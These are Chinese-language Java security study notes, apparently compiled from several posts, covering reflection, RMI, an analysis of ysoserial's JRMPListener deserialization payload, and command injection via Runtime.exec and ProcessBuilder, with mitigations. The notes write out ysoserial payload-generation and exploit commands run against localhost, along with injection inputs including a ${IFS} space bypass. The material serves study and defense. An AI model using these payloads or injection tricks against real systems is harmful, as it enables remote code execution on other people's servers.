对于私有方法、属性等，在调用和修改时，需要先调用 setAccessible(true) 来关闭 access checks，否则会失败

示例

import org.junit.Test;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class ReflectionTest {
    @Test
    public void testGetConstructs() {
        // 获取所有 public 构造方法
        Constructor[] constructors = HashMap.class.getConstructors();
        for (Constructor constructor : constructors) {
            System.out.println(constructor);
        }
        /**
         * 输出
         * public java.util.HashMap(int)
         * public java.util.HashMap()
         * public java.util.HashMap(java.util.Map)
         * public java.util.HashMap(int,float)
         */
    }

    @Test
    public void testNewInstance() throws Exception {
        // 使用 public java.util.HashMap(int) 构造方法来创建实例
        Constructor<HashMap> constructor = HashMap.class.getConstructor(new Class[]{int.class});
        Map map = constructor.newInstance(new Object[]{10});
        System.out.println(map.size());
    }

    @Test
    public void testGetDeclaredMethods() {
        // 获取当前类定义的所有方法
        Method[] methods = HashMap.class.getDeclaredMethods();
        for (Method method : methods) {
            System.out.println(method);
        }
        /**
         * public java.lang.Object java.util.HashMap.remove(java.lang.Object)
         * public boolean java.util.HashMap.remove(java.lang.Object,java.lang.Object)
         * ...
         * void java.util.HashMap.afterNodeRemoval(java.util.HashMap$Node)
         * void java.util.HashMap.internalWriteEntries(java.io.ObjectOutputStream) throws java.io.IOException
         */
    }

    @Test
    public void testInvokeMethod() throws Exception {
        Map<String, String> map = new HashMap<>();
        String key = "key";
        map.put(key, "any");
        Method method = HashMap.class.getMethod("get", Object.class);
        String value = (String) method.invoke(map, new Object[]{key});
        System.out.println(value);
    }

    @Test
    public void testInvokePrivateMethod() throws Exception {
        Constructor<Runtime> constructor = Runtime.class.getDeclaredConstructor(null);
        constructor.setAccessible(true);
        Runtime runtime = constructor.newInstance();
        System.out.println(runtime);
    }
}

参考

• Trail: The Reflection API
• Classes
• Members
• Arrays and Enumerated Types

RMI (Java Remote Method Invocation) Java 远程方法调用，是一种允许一个 JVM 上的 object 调用另一个 JVM 上 object 方法的机制

RMI 可以使用以下协议实现：

• Java Remote Method Protocol (JRMP)：专门为 RMI 设计的协议
• Internet Inter-ORB Protocol (IIOP) ：基于 CORBA 实现的跨语言协议

RMI 程序通常包括

• rmi registry naming service，提供 remote object 注册，name 到 remote object 的绑定和查询，是一种特殊的 remote object
• rmi server 创建 remote object，将其注册到 RMI registry
• rmi client 通过 name 向 RMI registry 获取 remote object reference (stub)，调用其方法

官方文档中的图例

通常 RMI server 和 registry 运行在同一个 host 的不同端口上

RMI Registry 默认运行在 1099 端口上

RMI URL rmi://hostname:port/remoteObjectName

具体参考 RMI Overview

0x02 示例

参考 Getting Started Using Java RMI

定义 remote 接口和方法

package com.b1ngz.sec.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;
}

需要实现 Remote 接口，接口方法需要抛出 RemoteException 或其父类的异常

实现 server

package com.b1ngz.sec.rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server implements Hello {
    public static void main(String[] args) {
        try {
            Server obj = new Server();
            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 56666);
            Registry registry = LocateRegistry.createRegistry(11099);
            registry.bind("Hello", stub);

        } catch (Exception e) {
            System.out.println("Server Exception: " + e.toString());
            e.printStackTrace();
        }
    }

    public String sayHello() throws RemoteException {
        return "Hello, World";
    }
}

Server 类实现了 Hello 接口，在 main 函数中创建并导出 remote object，接着将 remote object 注册到 RMI registry 中

UnicastRemoteObject.exportObject(obj, 56666) 方法执行完后，会运行 rmi server，监听在本地 56666 端口，等待 client 的请求。exportObject() 方法返回结果为 remote object stub (代理对象，实现了与 Hello 接口同样的方法，包含 rmi server 的 host、port 信息)

LocateRegistry.createRegistry(11099); 执行完后，会创建并启动 RMI registry，监听在本地 11099 端口

registry.bind("Hello", stub); 将 stub 注册到 registry，并与 name Hello 绑定

实现 client

package com.b1ngz.sec.rmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {

    public static void main(String[] args) {

        String host = "localhost";
        int port = 11099;
        try {
            Registry registry = LocateRegistry.getRegistry(host, port);
            Hello stub = (Hello) registry.lookup("Hello");
            String response = stub.sayHello();
            System.out.println("response: " + response);
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

LocateRegistry.getRegistry(host, port); 获取 rmi registry

registry.lookup("Hello") 获取 remote object stub

调用 stub 的 sayHello() 方法背后的流程：

• client 端通过 stub 中包含的 host、port 信息，与 remote object 所在的 server 建立连接 ，然后序列化调用数据
• server 端接收调用请求，将调用转发给 remote object，然后序列化结果，返回给 client
• client 端接收、反序列化结果

0x03 安全

在远程方法调用过程中，参数需要先序列化，从 local JVM 发送到 remote JVM，然后在 remote JVM 上反序列化，执行完后，将结果序列化，发送回 local JVM，因此可能会存在反序列化漏洞

此外，RMI 有一个特性，即当 class 在 receiver 的 JVM 中没有定义时，可以动态从本地 / 远程加载 object class ，在默认情况下 ( JDK 7u21 起)，只允许从本地加载，即 java.rmi.server.useCodebaseOnly 为 true，并且有 Security Manager 的存在，因此利用比较困难

0x04 Q&A

• what is RMI registry
• registry vs. RMI server

0x05 参考

• Frequently Asked Questions Java RMI and Object Serialization
• What is rmiregistry?
• Java Remote Method Invocation - Distributed Computing for Java
• RMI Security Recommendations
• Oracle Java IIOP Deserialization Type Confusion Remote Code Execution Vulnerability

Java 反序列化 ysoserial JRMPListener payload 学习笔记

JRMP (Java Remote Method Protocol) 是 Java 实现 RMI 的专有协议，关于 RMI 可以参考 Java RMI 笔记，有助于理解 JRMPListener 的利用过程

0x02 分析

JRMPListener payload 执行完成后，会在目标机器上的指定端口开启基于 JRMP 协议的 RMI server，我们需要再使用 exploit/JRMPClient 请求开启的 RMI server，发送指定的 gadget 来完成利用，具体步骤见 本地测试 部分

来看一下 payloads/JRMPListener 代码

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }

command 参数为 RMI server 监听端口

        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

使用父类 RemoteObject 的构造方法 protected RemoteObject(RemoteRef newref)，反射创建 ActivationGroupImpl 类的实例， 参数为 UnicastServerRef 的实例，用于指定 RMI server 监听端口，最后赋值的变量类型为 UnicastRemoteObject，其继承关系如下

再来看一下反序列化的过程，ActivationGroupImpl 类没有重写 readObject 方法，实际调用的是 UnicastRemoteObject

    private void readObject(java.io.ObjectInputStream in)
        throws java.io.IOException, java.lang.ClassNotFoundException
    {
        in.defaultReadObject();
        reexport();
    }

内部调用 reexport()

    private void reexport() throws RemoteException
    {
        if (csf == null && ssf == null) {
            exportObject((Remote) this, port);
        } else {
            exportObject((Remote) this, port, csf, ssf);
        }
    }

这里 csf 和 ssf 变量都为 null，调用 exportObject(Remote obj, int port) 方法

    public static Remote exportObject(Remote obj, int port)
        throws RemoteException
    {
        return exportObject(obj, new UnicastServerRef(port));
    }

可以看到，这里开启了 RMI server，将自身 export 了出去，剩余的部分就是 RMI server 创建的内部过程，本地 debug 时的调用栈如下

0x03 本地测试

生成 JRMPListener payload class 文件，指定运行端口为 38471

mkdir /tmp/ysoserial/
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 38471 > /tmp/ysoserial/jrmplistener.class

这里要注意，以下代码运行后会在本机开启一个存在反序列化漏洞的 RMI server，要注意测试的环境

    @Test
    public void testJRMPListener() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/ysoserial/jrmplistener.class")));
        ois.readObject();
        // 因为反序列过程中，是创建一个线程来启动 RMI server，需要保证 main thread 不退出
        while (true) {
            System.out.println(System.currentTimeMillis());
            Thread.sleep(3000);
        }
    }

使用 ysoserial.exploit.JRMPClient 请求 RMI server ，这里为了简单，项目 JDK 使用 7u21，因此直接使用 Jdk7u21 gadget

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 38471 Jdk7u21 "open /Applications/Calculator.app"

运行完后会弹出计算器

参考

• ysoserial JRMP相关模块分析（一）- payloads/JRMPListener

• Java 执行系统命令的方法
• 易导致命令注入的危险写法以及如何避免

0x02 注意点

首先要注意的是，通过 Java 来执行系统命令时，并不是通过 shell 来执行 (Linux下)，因此如果需要用到如 pipeline (|)、;、&&、|| 等 shell 特性时，需要创建 shell 来执行命令，如：

/bin/sh -c "ls -lh; pwd"

具体可参考 https://alvinalexander.com/java/java-exec-system-command-pipeline-pipe

0x03 执行方式

ProcessBuilder

java.lang.ProcessBuilder 中 start() 方法可以执行系统命令，命令和参数可以通过构造方法的 String List 或 String 数组来传入

• ProcessBuilder(List<String> command)

• ProcessBuilder(String... command)

如执行 ls -lh /home/www 的例子

String[] cmdList = new String[]{"ls", "-lh", "/home/www"};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();

因为 Java 中执行命令不是通过 shell，若没有手动创建 shell 来执行命令，命令非完全可控时，正常的情况下是无法使用 ;、&& 等来实现命令注入的，例如

命令的某个参数可控

// String dir = "xx";
String[] cmdList = new String[]{"ls", "-lh", dir};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
printOutput(process.getInputStream());

dir 参数用户可控，如想通过传入 /home/www;id， 来执行 id 命令，是无法成功的，程序的输出为

ls: /home/www;id: No such file or directory

再看一个例子

// String cmd = "xx";
ProcessBuilder builder = new ProcessBuilder(cmd);
builder.redirectErrorStream(true);
Process process = builder.start();
printOutput(process.getInputStream());

cmd 参数用户可控，那是否就可以执行任意命令了呢？

答案是可执行没有参数的命令，如 ls、pwd，如执行 curl example.com 则会失败，会提示如下错误

java.io.IOException: Cannot run program "curl example.com": error=2, No such file or directory

原因为这里 cmd 的值表示的是执行命令的文件路径，因此无法使用参数

前面说到是在正常情况下，但一些特殊情况下，如果执行的命令的某个参数存在解析问题，即存在参数注入，也会导致命令执行，如 CVE-2018-3785、CVE–2017–1000117

前面所说的是在非 shell 环境下执行命令的情况，那如果手动创建了 shell 来执行命令，则很有可能会存在命令注入，例如：

// String dir = "xxxx";
String[] cmdList = new String[]{"sh", "-c", "ls -lh " + dir};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
printOutput(process.getInputStream());

dir 参数用户可控，如果传入如 && pwd，则可以成功执行 pwd 命令

再来看一种情况

String[] cmdList = new String[]{"sh", "-c", "echo test", dir};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
printOutput(process.getInputStream());

这种情况下，dir 传入 pwd 或 ;pwd 都无法执行，因为只有 echo test 会作为 -c 选项的参数值

因此，在大多数情况下，要想通过 ProcessBuilder 来执行任意命令，需要代码中创建 shell 来执行命令，并且参数可控或存在拼接

Runtime

java.lang.Runtime 中 exec() 函数同样可以执行系统命令，命令参数支持 String 和 String 数组两种方式，同时支持设置环境变量、子进程工作目录 (working directory) 参数，具体方法包括：

• exec(String command)
• exec(String[] cmdarray)
• exec(String command, String[] envp)
• exec(String command, String[] envp, File dir) ` exec(String[] cmdarray, String[] envp)`
• exec(String[] cmdarray, String[] envp, File dir)

这里来看一下 exec(String command) 函数，根据源码可知，其内部会调用 exec(String command, String[] envp, File dir)，方法代码如下

public Process exec(String command, String[] envp, File dir)
        throws IOException {
        if (command.length() == 0)
            throw new IllegalArgumentException("Empty command");

        StringTokenizer st = new StringTokenizer(command);
        String[] cmdarray = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++)
            cmdarray[i] = st.nextToken();
        return exec(cmdarray, envp, dir);
    }

可以看到，传入的字符串命令会先经过 StringTokenizer 进行处理，即使用分隔符，包括空格，\t\n\r\f 对字符串进行分隔后，再调用 exec(String[] cmdarray, String[] envp, File dir)，代码如下

public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

即最后是通过 ProcessBuilder 来执行的，那么如果直接调用参数为 String 数组的 exec() 函数，则和 ProcessBuilder 存在同样的问题

而直接传入 String 时，会先经过 StringTokenizer 的分隔处理，然后在使用 ProcessBuilder，因此这里需要弄清 StringTokenizer 是如何分割字符串命令的

先来看一下Runtime 执行系统命令的代码示例：

// String cmd = "xx";
Process process = Runtime.getRuntime().exec(cmd);
process.waitFor();
printOutput(process.getInputStream());
printOutput(process.getErrorStream());

cmd 输入和对应 StringTokenizer 分隔后的值

• ls -lh; id => ["ls", "-lh;", "id"] 无法执行，输出

  ls: illegal option – ; usage: ls [-ABCFGHLOPRSTUWabcdefghiklmnopqrstuwx1][file …][file …]

• ls -lh;id => ["ls", "-lh;id"] 无法执行，输出

  ls: illegal option – ; usage: ls [-ABCFGHLOPRSTUWabcdefghiklmnopqrstuwx1][file …][file …]

• sh -c 'ls -lh;id' => ["sh", "-c", "'ls", "-lh;id'"] 两边有单引号，无法执行，输出

  -lh;id’: -c: line 0: unexpected EOF while looking for matching `’’ -lh;id’: -c: line 1: syntax error: unexpected end of file

• sh -c "ls;id" => ["sh", "-c", "\"ls;id\"] 注意两边的双引号，无法执行，输出

  sh: ls;id: command not found

• sh -c ls;id => ["sh", "-c", "ls;id"]，id 命令可成功执行

因此，简单总结一下：

• 如果参数完全可控，则可以执行任意命令

• 若没有手动创建 shell 执行命令，没有存在参数注入，则无法实现命令注入

• 手动创建 shell 执行命令，可执行-c 的参数值的命令，但值内不能有空格、\t\n\r\f 分隔符，否则会被分割

  // 相当于执行 sh -c curl，example.com 参数会被忽略
  String cmd = "sh -c curl example.com";
  // \t 也是分割符之一
  String cmd = "sh -c curl\texample.com";
  // 使用 ${IFS} (对应内部字段分隔符) 来代替空格，成功执行
  String cmd = "sh -c curl${IFS}example.com";
  

0x04 修复方案

• 应尽量避免使用 Runtime 和 ProcessBuilder 来执行系统命令，可搜索系统是否提供 API 来完成同样的功能，如执行删除文件 rm /home/www/log.txt 的命令，可以使用 File.delete() 等函数来代替

• 无法避免执行命令时，应当尽可能避免创建 shell 来执行系统命令，优先使用 Runtime 和 ProcessBuilder 的 字符串数组String[] cmdarray 的 方法，可一定程度上降低命令注入的产生

• 最后，可考虑使用白名单的方式，限制可执行的命令和允许的参数值，或限制用户输入的所允许字符，如只允许字母数组、下划线

  private static final Pattern FILTER_PATTERN = Pattern.compile("[0-9A-Za-z_]+");
  if (!FILTER_PATTERN.matcher(input).matches()) {
    // Handle error
  }
  

0x05 参考

• https://www.owasp.org/index.php/Command_injection_in_Java

• https://docs.oracle.com/javase/7/docs/api/java/lang/Runtime.html

• IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method